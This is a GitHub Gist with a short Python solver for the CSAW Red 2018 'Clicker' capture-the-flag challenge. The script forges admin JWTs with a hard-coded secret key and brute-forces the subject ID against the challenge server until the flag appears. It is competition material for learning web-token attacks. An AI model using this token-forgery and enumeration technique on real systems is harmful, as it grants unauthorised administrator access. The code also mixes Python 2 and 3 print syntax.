Created
October 7, 2018 00:17
-
-
Save Ge0rg3/2ffd5d6c9ce5fc5fd52fb6aea9dae352 to your computer and use it in GitHub Desktop.
Written for my CSAW Red 2018 Clicker Write-up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import jwt | |
tokenData = { | |
'exp': 1538956189, | |
'iat': 0, | |
'sub': 0, | |
'admin': True | |
} | |
c = 0 | |
while True: | |
tokenData["sub"] = c | |
jwToken = jwt.encode(tokenData, "dId_you_r3aLly_think_I_w0u1dnt_s3t_a_key") | |
headers= {'Authorization':jwToken} | |
req = rq.get("http://web.chal.csaw.io:10106/default/record", headers=headers) | |
print("Attempt: "+str(c)) | |
c+=1 | |
if "flag" in req.text: | |
print req.text | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment